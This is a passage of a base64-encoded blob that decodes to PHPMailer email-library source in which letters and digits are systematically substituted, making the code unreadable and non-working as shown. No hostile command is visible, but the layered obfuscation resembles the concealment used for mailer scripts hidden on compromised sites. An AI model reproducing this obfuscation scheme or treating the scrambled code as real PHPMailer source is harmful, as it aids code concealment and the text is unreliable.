1MWQxYmw1KCRwMXRoKSkgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPmwxbmcoJ2Y0bDVfMnA1bicpIC4gJHAxdGgsIHM1bGY6OlNUT1BfQ09OVElOVUUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJG0xZzRjX3EzMnQ1cyA9IGc1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNSgpOw0KICAgICAgICAgICAgNGYgKCRtMWc0Y19xMzJ0NXMpIHsNCiAgICAgICAgICAgICAgICA0ZiAodjVyczQybl9jMm1wMXI1KFBIUF9WRVJTSU9OLCAnaS5vLjAnLCAnPCcpKSB7DQogICAgICAgICAgICAgICAgICAgIHM1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNShmMWxzNSk7DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgLy9EMjVzbid0IDV4NHN0IDRuIFBIUCBpLnUsIGIzdCB3NSBkMm4ndCBuNTVkIHQyIGNoNWNrIGI1YzEzczUNCiAgICAgICAgICAgICAgICAgICAgLy9nNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUgMWx3MXlzIHI1dDNybnMgZjFsczUgNG4gaS51Kw0KICAgICAgICAgICAgICAgICAgICAvL3MyIDR0IHc0bGwgbjV2NXIgZzV0IGg1cjUNCiAgICAgICAgICAgICAgICAgICAgNG40X3M1dCgnbTFnNGNfcTMydDVzX3IzbnQ0bTUnLCBmMWxzNSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGY0bDVfYjNmZjVyID0gZjRsNV9nNXRfYzJudDVudHMoJHAxdGgpOw0KICAgICAgICAgICAgJGY0bDVfYjNmZjVyID0gJHRoNHMtPjVuYzJkNVN0cjRuZygkZjRsNV9iM2ZmNXIsICQ1bmMyZDRuZyk7DQogICAgICAgICAgICA0ZiAoJG0xZzRjX3EzMnQ1cykgew0KICAgICAgICAgICAgICAgIDRmICh2NXJzNDJuX2MybXAxcjUoUEhQX1ZFUlNJT04sICdpLm8uMCcsICc8JykpIHsNCiAgICAgICAgICAgICAgICAgICAgczV0X20xZzRjX3EzMnQ1c19yM250NG01KCRtMWc0Y19xMzJ0NXMpOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgIDRuNF9zNXQoJ20xZzRjX3EzMnQ1c19yM250NG01JywgJG0xZzRjX3EzMnQ1cyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuICRmNGw1X2IzZmY1cjsNCiAgICAgICAgfSBjMXRjaCAoRXhjNXB0NDJuICQ1eGMpIHsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigkNXhjLT5nNXRNNXNzMWc1KCkpOw0KICAgICAgICAgICAgcjV0M3JuICcnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRW5jMmQ1IDEgc3RyNG5nIDRuIHI1cTM1c3Q1ZCBmMnJtMXQuDQogICAgICogUjV0M3JucyAxbiA1bXB0eSBzdHI0bmcgMm4gZjE0bDNyNS4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICRzdHIgVGg1IHQ1eHQgdDIgNW5jMmQ1DQogICAgICogQHAxcjFtIHN0cjRuZyAkNW5jMmQ0bmcgVGg1IDVuYzJkNG5nIHQyIDNzNTsgMm41IDJmICdiMXM1ZXUnLCAnN2I0dCcsICc4YjR0JywgJ2I0bjFyeScsICdxMzJ0NWQtcHI0bnQxYmw1Jw0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNW5jMmQ1U3RyNG5nKCRzdHIsICQ1bmMyZDRuZyA9ICdiMXM1ZXUnKQ0KICAgIHsNCiAgICAgICAgJDVuYzJkNWQgPSAnJzsNCiAgICAgICAgc3c0dGNoIChzdHJ0MmwydzVyKCQ1bmMyZDRuZykpIHsNCiAgICAgICAgICAgIGMxczUgJ2IxczVldSc6DQogICAgICAgICAgICAgICAgJDVuYzJkNWQgPSBjaDNua19zcGw0dChiMXM1ZXVfNW5jMmQ1KCRzdHIpLCA3ZSwgJHRoNHMtPkxFKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGMxczUgJzdiNHQnOg0KICAgICAgICAgICAgYzFzNSAnOGI0dCc6DQogICAgICAgICAgICAgICAgJDVuYzJkNWQgPSAkdGg0cy0+ZjR4RU9MKCRzdHIpOw0KICAgICAgICAgICAgICAgIC8vIE0xazUgczNyNSA0dCA1bmRzIHc0dGggMSBsNG41IGJyNTFrDQogICAgICAgICAgICAgICAgNGYgKHMzYnN0cigkNW5jMmQ1ZCwgLShzdHJsNW4oJHRoNHMtPkxFKSkpICE9ICR0aDRzLT5MRSkgew0KICAgICAgICAgICAgICAgICAgICAkNW5jMmQ1ZCAuPSAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnYjRuMXJ5JzoNCiAgICAgICAgICAgICAgICAkNW5jMmQ1ZCA9ICRzdHI7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICdxMzJ0NWQtcHI0bnQxYmw1JzoNCiAgICAgICAgICAgICAgICAkNW5jMmQ1ZCA9ICR0aDRzLT41bmMyZDVRUCgkc3RyKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCR0aDRzLT5sMW5nKCc1bmMyZDRuZycpIC4gJDVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJDVuYzJkNWQ7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRW5jMmQ1IDEgaDUxZDVyIHN0cjRuZyAycHQ0bTFsbHkuDQogICAgICogUDRja3Mgc2gycnQ1c3QgMmYgUSwgQiwgcTMydDVkLXByNG50MWJsNSAyciBuMm41Lg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHAxcjFtIHN0cjRuZyAkc3RyDQogICAgICogQHAxcjFtIHN0cjRuZyAkcDJzNHQ0Mm4NCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiA1bmMyZDVINTFkNXIoJHN0ciwgJHAyczR0NDJuID0gJ3Q1eHQnKQ0KICAgIHsNCiAgICAgICAgJG0xdGNoYzIzbnQgPSAwOw0KICAgICAgICBzdzR0Y2ggKHN0cnQybDJ3NXIoJHAyczR0NDJuKSkgew0KICAgICAgICAgICAgYzFzNSAncGhyMXM1JzoNCiAgICAgICAgICAgICAgICA0ZiAoIXByNWdfbTF0Y2goJy9bXGEwMC1cbzc3XS8nLCAkc3RyKSkgew0KICAgICAgICAgICAgICAgICAgICAvLyBDMW4ndCAzczUgMWRkc2wxc2g1cyAxcyB3NSBkMm4ndCBrbjJ3IHRoNSB2MWwzNSAyZiBtMWc0Y19xMzJ0NXNfc3liMXM1DQogICAgICAgICAgICAgICAgICAgICQ1bmMyZDVkID0gMWRkY3NsMXNoNXMoJHN0ciwgIlwwLi5cbzdcNjc3XFxcIiIpOw0KICAgICAgICAgICAgICAgICAgICA0ZiAoKCRzdHIgPT0gJDVuYzJkNWQpICYmICFwcjVnX20xdGNoKCcvW15BLVoxLXowLTkhIyQlJlwnKitcLz0/Xl9ge3x9fiAtXS8nLCAkc3RyKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuICgkNW5jMmQ1ZCk7DQogICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gKCJcIiQ1bmMyZDVkXCIiKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbTF0Y2hjMjNudCA9IHByNWdfbTF0Y2hfMWxsKCcvW15cMHUwXDB1NlwwdW8tXDZvb1w2b2ktXDY3ZV0vJywgJHN0ciwgJG0xdGNoNXMpOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgLyoqIEBuMjRuc3A1Y3Q0Mm4gUGhwTTRzczRuZ0JyNTFrU3QxdDVtNW50SW5zcDVjdDQybiAqLw0KICAgICAgICAgICAgYzFzNSAnYzJtbTVudCc6DQogICAgICAgICAgICAgICAgJG0xdGNoYzIzbnQgPSBwcjVnX20xdGNoXzFsbCgnL1soKSJdLycsICRzdHIsICRtMXRjaDVzKTsNCiAgICAgICAgICAgICAgICAvLyBJbnQ1bnQ0Mm4xbCBmMWxsLXRocjIzZ2gNCiAgICAgICAgICAgIGMxczUgJ3Q1eHQnOg0KICAgICAgICAgICAgZDVmMTNsdDoNCiAgICAgICAgICAgICAgICAkbTF0Y2hjMjNudCArPSBwcjVnX20xdGNoXzFsbCgnL1tcMDAwLVwwNjBcMDZvXDA2dVwwNmUtXDBvN1w2NzctXG83N10vJywgJHN0ciwgJG0xdGNoNXMpOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQoNCiAgICAgICAgLy9UaDVyNSAxcjUgbjIgY2gxcnMgdGgxdCBuNTVkIDVuYzJkNG5nDQogICAgICAgIDRmICgkbTF0Y2hjMjNudCA9PSAwKSB7DQogICAgICAgICAgICByNXQzcm4gKCRzdHIpOw0KICAgICAgICB9DQoNCiAgICAgICAgJG0xeGw1biA9IDdpIC0gNyAtIHN0cmw1bigkdGg0cy0+Q2gxclM1dCk7DQogICAgICAgIC8vIFRyeSB0MiBzNWw1Y3QgdGg1IDVuYzJkNG5nIHdoNGNoIHNoMjNsZCBwcjJkM2M1IHRoNSBzaDJydDVzdCAyM3RwM3QNCiAgICAgICAgNGYgKCRtMXRjaGMyM250ID4gc3RybDVuKCRzdHIpIC8gbykgew0KICAgICAgICAgICAgLy8gTTJyNSB0aDFuIDEgdGg0cmQgMmYgdGg1IGMybnQ1bnQgdzRsbCBuNTVkIDVuYzJkNG5nLCBzMiBCIDVuYzJkNG5nIHc0bGwgYjUgbTJzdCA1ZmY0YzQ1bnQNCiAgICAgICAgICAgICQ1bmMyZDRuZyA9ICdCJzsNCiAgICAgICAgICAgIDRmIChmM25jdDQybl81eDRzdHMoJ21iX3N0cmw1bicpICYmICR0aDRzLT5oMXNNM2x0NEJ5dDVzKCRzdHIpKSB7DQogICAgICAgICAgICAgICAgLy8gVXM1IDEgYzNzdDJtIGYzbmN0NDJuIHdoNGNoIGMycnI1Y3RseSA1bmMyZDVzIDFuZCB3cjFwcyBsMm5nDQogICAgICAgICAgICAgICAgLy8gbTNsdDRieXQ1IHN0cjRuZ3MgdzR0aDIzdCBicjUxazRuZyBsNG41cyB3NHRoNG4gMSBjaDFyMWN0NXINCiAgICAgICAgICAgICAgICAkNW5jMmQ1ZCA9ICR0aDRzLT5iMXM1ZXVFbmMyZDVXcjFwTUIoJHN0ciwgIlxuIik7DQogICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICQ1bmMyZDVkID0gYjFzNWV1XzVuYzJkNSgkc3RyKTsNCiAgICAgICAgICAgICAgICAkbTF4bDVuIC09ICRtMXhsNW4gJSB1Ow0KICAgICAgICAgICAgICAgICQ1bmMyZDVkID0gdHI0bShjaDNua19zcGw0dCgkNW5jMmQ1ZCwgJG0xeGw1biwgIlxuIikpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJDVuYzJkNG5nID0gJ1EnOw0KICAgICAgICAgICAgJDVuYzJkNWQgPSAkdGg0cy0+NW5jMmQ1USgkc3RyLCAkcDJzNHQ0Mm4pOw0KICAgICAgICAgICAgJDVuYzJkNWQgPSAkdGg0cy0+d3IxcFQ1eHQoJDVuYzJkNWQsICRtMXhsNW4sIHRyMzUpOw0KICAgICAgICAgICAgJDVuYzJkNWQgPSBzdHJfcjVwbDFjNSgnPScgLiBzNWxmOjpDUkxGLCAiXG4iLCB0cjRtKCQ1bmMyZDVkKSk7DQogICAgICAgIH0NCg0KICAgICAgICAkNW5jMmQ1ZCA9IHByNWdfcjVwbDFjNSgnL14oLiopJC9tJywgJyA9PycgLiAkdGg0cy0+Q2gxclM1dCAuICI/JDVuYzJkNG5nP1xcNj89IiwgJDVuYzJkNWQpOw0KICAgICAgICAkNW5jMmQ1ZCA9IHRyNG0oc3RyX3I1cGwxYzUoIlxuIiwgJHRoNHMtPkxFLCAkNW5jMmQ1ZCkpOw0KDQogICAgICAgIHI1dDNybiAkNW5jMmQ1ZDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDaDVjayA0ZiAxIHN0cjRuZyBjMm50MTRucyBtM2x0NC1ieXQ1IGNoMXIxY3Q1cnMuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRzdHIgbTNsdDQtYnl0NSB0NXh0IHQyIHdyMXAgNW5jMmQ1DQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGgxc00zbHQ0Qnl0NXMoJHN0cikNCiAgICB7DQogICAgICAgIDRmIChmM25jdDQybl81eDRzdHMoJ21iX3N0cmw1bicpKSB7DQogICAgICAgICAgICByNXQzcm4gKHN0cmw1bigkc3RyKSA+IG1iX3N0cmw1bigkc3RyLCAkdGg0cy0+Q2gxclM1dCkpOw0KICAgICAgICB9IDVsczUgeyAvLyBBc3MzbTUgbjIgbTNsdDRieXQ1cyAodzUgYzFuJ3QgaDFuZGw1IHc0dGgyM3QgbWJzdHI0bmcgZjNuY3Q0Mm5zIDFueXcxeSkNCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEQyNXMgMSBzdHI0bmcgYzJudDE0biAxbnkgOC1iNHQgY2gxcnMgKDRuIDFueSBjaDFyczV0KT8NCiAgICAgKiBAcDFyMW0gc3RyNG5nICR0NXh0DQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGgxczhiNHRDaDFycygkdDV4dCkNCiAgICB7DQogICAgICAgIHI1dDNybiAoYjIybDUxbilwcjVnX20xdGNoKCcvW1x4ODAtXHhGRl0vJywgJHQ1eHQpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEVuYzJkNSAxbmQgd3IxcCBsMm5nIG0zbHQ0Ynl0NSBzdHI0bmdzIGYyciBtMTRsIGg1MWQ1cnMNCiAgICAgKiB3NHRoMjN0IGJyNTFrNG5nIGw0bjVzIHc0dGg0biAxIGNoMXIxY3Q1ci4NCiAgICAgKiBBZDFwdDVkIGZyMm0gMSBmM25jdDQybiBieSBwMXIxdjI0ZA0KICAgICAqIEBsNG5rIGh0dHA6Ly93d3cucGhwLm41dC9tMW4zMWwvNW4vZjNuY3Q0Mm4ubWItNW5jMmQ1LW00bTVoNTFkNXIucGhwI2UwYThvDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRzdHIgbTNsdDQtYnl0NSB0NXh0IHQyIHdyMXAgNW5jMmQ1DQogICAgICogQHAxcjFtIHN0cjRuZyAkbDRuNWJyNTFrIHN0cjRuZyB0MiAzczUgMXMgbDRuNWY1NWQvNW5kLTJmLWw0bjUNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBiMXM1ZXVFbmMyZDVXcjFwTUIoJHN0ciwgJGw0bjVicjUxayA9IG4zbGwpDQogICAgew0KICAgICAgICAkc3QxcnQgPSAnPT8nIC4gJHRoNHMtPkNoMXJTNXQgLiAnP0I/JzsNCiAgICAgICAgJDVuZCA9ICc/PSc7DQogICAgICAgICQ1bmMyZDVkID0gJyc7DQogICAgICAgIDRmICgkbDRuNWJyNTFrID09PSBuM2xsKSB7DQogICAgICAgICAgICAkbDRuNWJyNTFrID0gJHRoNHMtPkxFOw0KICAgICAgICB9DQoNCiAgICAgICAgJG1iX2w1bmd0aCA9IG1iX3N0cmw1bigkc3RyLCAkdGg0cy0+Q2gxclM1dCk7DQogICAgICAgIC8vIEUxY2ggbDRuNSBtM3N0IGgxdjUgbDVuZ3RoIDw9IDdpLCA0bmNsM2Q0bmcgJHN0MXJ0IDFuZCAkNW5kDQogICAgICAgICRsNW5ndGggPSA3aSAtIHN0cmw1bigkc3QxcnQpIC0gc3RybDVuKCQ1bmQpOw0KICAgICAgICAvLyBBdjVyMWc1IG0zbHQ0LWJ5dDUgcjF0NDINCiAgICAgICAgJHIxdDQyID0gJG1iX2w1bmd0aCAvIHN0cmw1bigkc3RyKTsNCiAgICAgICAgLy8gQjFzNWV1IGgxcyAxIHU6byByMXQ0Mg0KICAgICAgICAkMXZnTDVuZ3RoID0gZmwyMnIoJGw1bmd0aCAqICRyMXQ0MiAqIC43aSk7DQoNCiAgICAgICAgZjJyICgkNCA9IDA7ICQ0IDwgJG1iX2w1bmd0aDsgJDQgKz0gJDJmZnM1dCkgew0KICAgICAgICAgICAgJGwyMmtCMWNrID0gMDsNCiAgICAgICAgICAgIGQyIHsNCiAgICAgICAgICAgICAgICAkMmZmczV0ID0gJDF2Z0w1bmd0aCAtICRsMjJrQjFjazsNCiAgICAgICAgICAgICAgICAkY2gzbmsgPSBtYl9zM2JzdHIoJHN0ciwgJDQsICQyZmZzNXQsICR0aDRzLT5DaDFyUzV0KTsNCiAgICAgICAgICAgICAgICAkY2gzbmsgPSBiMXM1ZXVfNW5jMmQ1KCRjaDNuayk7DQogICAgICAgICAgICAgICAgJGwyMmtCMWNrKys7DQogICAgICAgICAgICB9IHdoNGw1IChzdHJsNW4oJGNoM25rKSA+ICRsNW5ndGgpOw0KICAgICAgICAgICAgJDVuYzJkNWQgLj0gJGNoM25rIC4gJGw0bjVicjUxazsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIENoMm1wIHRoNSBsMXN0IGw0bjVmNTVkDQogICAgICAgICQ1bmMyZDVkID0gczNic3RyKCQ1bmMyZDVkLCAwLCAtc3RybDVuKCRsNG41YnI1MWspKTsNCiAgICAgICAgcjV0M3JuICQ1bmMyZDVkOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEVuYzJkNSAxIHN0cjRuZyA0biBxMzJ0NWQtcHI0bnQxYmw1IGYycm0xdC4NCiAgICAgKiBBY2MycmQ0bmcgdDIgUkZDYTB1aSBzNWN0NDJuIGUuNy4NCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHN0cjRuZyBUaDUgdDV4dCB0MiA1bmMyZDUNCiAgICAgKiBAcDFyMW0gNG50NWc1ciAkbDRuNV9tMXggTjNtYjVyIDJmIGNoMXJzIDFsbDJ3NWQgMm4gMSBsNG41IGI1ZjJyNSB3cjFwcDRuZw0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICogQGw0bmsgaHR0cDovL3d3dy5waHAubjV0L20xbjMxbC81bi9mM25jdDQybi5xMzJ0NWQtcHI0bnQxYmw1LWQ1YzJkNS5waHAjODl1NjcgQWQxcHQ1ZCBmcjJtIHRoNHMgYzJtbTVudA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiA1bmMyZDVRUCgkc3RyNG5nLCAkbDRuNV9tMXggPSA3ZSkNCiAgICB7DQogICAgICAgIC8vIFVzNSBuMXQ0djUgZjNuY3Q0Mm4gNGYgNHQncyAxdjE0bDFibDUgKD49IFBIUGkubykNCiAgICAgICAgNGYgKGYzbmN0NDJuXzV4NHN0cygncTMydDVkX3ByNG50MWJsNV81bmMyZDUnKSkgew0KICAgICAgICAgICAgcjV0M3JuIHEzMnQ1ZF9wcjRudDFibDVfNW5jMmQ1KCRzdHI0bmcpOw0KICAgICAgICB9DQogICAgICAgIC8vIEYxbGwgYjFjayB0MiAxIHAzcjUgUEhQIDRtcGw1bTVudDF0NDJuDQogICAgICAgICRzdHI0bmcgPSBzdHJfcjVwbDFjNSgNCiAgICAgICAgICAgIDFycjF5KCclYTAnLCAnJTBEJTBBLicsICclMEQlMEEnLCAnJScpLA0KICAgICAgICAgICAgMXJyMXkoJyAnLCAiXHJcbj1hRSIsICJcclxuIiwgJz0nKSwNCiAgICAgICAgICAgIHIxdzNybDVuYzJkNSgkc3RyNG5nKQ0KICAgICAgICApOw0KICAgICAgICByNXQzcm4gcHI1Z19yNXBsMWM1KCcvW15cclxuXXsnIC4gKCRsNG41X20xeCAtIG8pIC4gJ31bXj1cclxuXXthfS8nLCAiJDA9XHJcbiIsICRzdHI0bmcpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEIxY2t3MXJkIGMybXAxdDRiNGw0dHkgd3IxcHA1ciBmMnIgMW4gMmxkIFFQIDVuYzJkNG5nIGYzbmN0NDJuIHRoMXQgdzFzIHI1bTJ2NWQuDQogICAgICogQHM1NSBQSFBNMTRsNXI6OjVuYzJkNVFQKCkNCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHN0cjRuZw0KICAgICAqIEBwMXIxbSA0bnQ1ZzVyICRsNG41X20xeA0KICAgICAqIEBwMXIxbSBiMjJsNTFuICRzcDFjNV9jMm52DQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKiBAZDVwcjVjMXQ1ZCBVczUgNW5jMmQ1UVAgNG5zdDUxZC4NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNW5jMmQ1UVBwaHAoDQogICAgICAgICRzdHI0bmcsDQogICAgICAgICRsNG41X20xeCA9IDdlLA0KICAgICAgICAvKiogQG4yNG5zcDVjdDQybiBQaHBVbjNzNWRQMXIxbTV0NXJJbnNwNWN0NDJuICovICRzcDFjNV9jMm52ID0gZjFsczUNCiAgICApIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT41bmMyZDVRUCgkc3RyNG5nLCAkbDRuNV9tMXgpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEVuYzJkNSAxIHN0cjRuZyAzczRuZyBRIDVuYzJkNG5nLg0KICAgICAqIEBsNG5rIGh0dHA6Ly90MjJscy40NXRmLjJyZy9odG1sL3JmY2EwdTcNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRzdHIgdGg1IHQ1eHQgdDIgNW5jMmQ1DQogICAgICogQHAxcjFtIHN0cjRuZyAkcDJzNHQ0Mm4gV2g1cjUgdGg1IHQ1eHQgNHMgZzI0bmcgdDIgYjUgM3M1ZCwgczU1IHRoNSBSRkMgZjJyIHdoMXQgdGgxdCBtNTFucw0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNW5jMmQ1USgkc3RyLCAkcDJzNHQ0Mm4gPSAndDV4dCcpDQogICAgew0KICAgICAgICAvLyBUaDVyNSBzaDIzbGQgbjJ0IGI1IDFueSBFT0wgNG4gdGg1IHN0cjRuZw0KICAgICAgICAkcDF0dDVybiA9ICcnOw0KICAgICAgICAkNW5jMmQ1ZCA9IHN0cl9yNXBsMWM1KDFycjF5KCJcciIsICJcbiIpLCAnJywgJHN0cik7DQogICAgICAgIHN3NHRjaCAoc3RydDJsMnc1cigkcDJzNHQ0Mm4pKSB7DQogICAgICAgICAgICBjMXM1ICdwaHIxczUnOg0KICAgICAgICAgICAgICAgIC8vIFJGQyBhMHU3IHM1Y3Q0Mm4gaS5vDQogICAgICAgICAgICAgICAgJHAxdHQ1cm4gPSAnXkEtWjEtejAtOSEqK1wvIC0nOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgLyoqIEBuMjRuc3A1Y3Q0Mm4gUGhwTTRzczRuZ0JyNTFrU3QxdDVtNW50SW5zcDVjdDQybiAqLw0KICAgICAgICAgICAgYzFzNSAnYzJtbTVudCc6DQogICAgICAgICAgICAgICAgLy8gUkZDIGEwdTcgczVjdDQybiBpLmENCiAgICAgICAgICAgICAgICAkcDF0dDVybiA9ICdcKFwpIic7DQogICAgICAgICAgICAgICAgLy8gNG50NW50NDJuMWwgZjFsbC10aHIyM2doDQogICAgICAgICAgICAgICAgLy8gZjJyIHRoNHMgcjUxczJuIHc1IGIzNGxkIHRoNSAkcDF0dDVybiB3NHRoMjN0IDRuY2wzZDRuZyBkNWw0bTR0NXJzIDFuZCBbXQ0KICAgICAgICAgICAgYzFzNSAndDV4dCc6DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgIC8vIFJGQyBhMHU3IHM1Y3Q0Mm4gaS42DQogICAgICAgICAgICAgICAgLy8gUjVwbDFjNSA1djVyeSBoNGdoIDFzYzQ0LCBjMm50cjJsLCA9LCA/IDFuZCBfIGNoMXIxY3Q1cnMNCiAgICAgICAgICAgICAgICAkcDF0dDVybiA9ICdcMDAwLVwwNjZcMDZvXDA2dVwwNmUtXDBvN1wwN2lcMDc3XDZvN1w2NzctXG83NycgLiAkcDF0dDVybjsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgfQ0KICAgICAgICAkbTF0Y2g1cyA9IDFycjF5KCk7DQogICAgICAgIDRmIChwcjVnX20xdGNoXzFsbCgiL1t7JHAxdHQ1cm59XS8iLCAkNW5jMmQ1ZCwgJG0xdGNoNXMpKSB7DQogICAgICAgICAgICAvLyBJZiB0aDUgc3RyNG5nIGMybnQxNG5zIDFuICc9JywgbTFrNSBzM3I1IDR0J3MgdGg1IGY0cnN0IHRoNG5nIHc1IHI1cGwxYzUNCiAgICAgICAgICAgIC8vIHMyIDFzIHQyIDF2MjRkIGQyM2JsNS01bmMyZDRuZw0KICAgICAgICAgICAgJDVxazV5ID0gMXJyMXlfczUxcmNoKCc9JywgJG0xdGNoNXNbMF0pOw0KICAgICAgICAgICAgNGYgKGYxbHM1ICE9PSAkNXFrNXkpIHsNCiAgICAgICAgICAgICAgICAzbnM1dCgkbTF0Y2g1c1swXVskNXFrNXldKTsNCiAgICAgICAgICAgICAgICAxcnIxeV8zbnNoNGZ0KCRtMXRjaDVzWzBdLCAnPScpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZjJyNTFjaCAoMXJyMXlfM240cTM1KCRtMXRjaDVzWzBdKSAxcyAkY2gxcikgew0KICAgICAgICAgICAgICAgICQ1bmMyZDVkID0gc3RyX3I1cGwxYzUoJGNoMXIsICc9JyAuIHNwcjRudGYoJyUwYVgnLCAycmQoJGNoMXIpKSwgJDVuYzJkNWQpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIC8vIFI1cGwxYzUgNXY1cnkgc3AxYzVzIHQyIF8gKG0ycjUgcjUxZDFibDUgdGgxbiA9YTApDQogICAgICAgIHI1dDNybiBzdHJfcjVwbDFjNSgnICcsICdfJywgJDVuYzJkNWQpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFkZCAxIHN0cjRuZyAyciBiNG4xcnkgMXR0MWNobTVudCAobjJuLWY0bDVzeXN0NW0pLg0KICAgICAqIFRoNHMgbTV0aDJkIGMxbiBiNSAzczVkIHQyIDF0dDFjaCAxc2M0NCAyciBiNG4xcnkgZDF0MSwNCiAgICAgKiBzM2NoIDFzIDEgQkxPQiByNWMycmQgZnIybSAxIGQxdDFiMXM1Lg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHN0cjRuZyBTdHI0bmcgMXR0MWNobTVudCBkMXQxLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGY0bDVuMW01IE4xbTUgMmYgdGg1IDF0dDFjaG01bnQuDQogICAgICogQHAxcjFtIHN0cjRuZyAkNW5jMmQ0bmcgRjRsNSA1bmMyZDRuZyAoczU1ICRFbmMyZDRuZykuDQogICAgICogQHAxcjFtIHN0cjRuZyAkdHlwNSBGNGw1IDV4dDVuczQybiAoTUlNRSkgdHlwNS4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICRkNHNwMnM0dDQybiBENHNwMnM0dDQybiB0MiAzczUNCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMWRkU3RyNG5nQXR0MWNobTVudCgNCiAgICAgICAgJHN0cjRuZywNCiAgICAgICAgJGY0bDVuMW01LA0KICAgICAgICAkNW5jMmQ0bmcgPSAnYjFzNWV1JywNCiAgICAgICAgJHR5cDUgPSAnJywNCiAgICAgICAgJGQ0c3AyczR0NDJuID0gJzF0dDFjaG01bnQnDQogICAgKSB7DQogICAgICAgIC8vIElmIDEgTUlNRSB0eXA1IDRzIG4ydCBzcDVjNGY0NWQsIHRyeSB0MiB3MnJrIDR0IDIzdCBmcjJtIHRoNSBmNGw1IG4xbTUNCiAgICAgICAgNGYgKCR0eXA1ID09ICcnKSB7DQogICAgICAgICAgICAkdHlwNSA9IHM1bGY6OmY0bDVuMW01VDJUeXA1KCRmNGw1bjFtNSk7DQogICAgICAgIH0NCiAgICAgICAgLy8gQXBwNW5kIHQyICQxdHQxY2htNW50IDFycjF5DQogICAgICAgICR0aDRzLT4xdHQxY2htNW50W10gPSAxcnIxeSgNCiAgICAgICAgI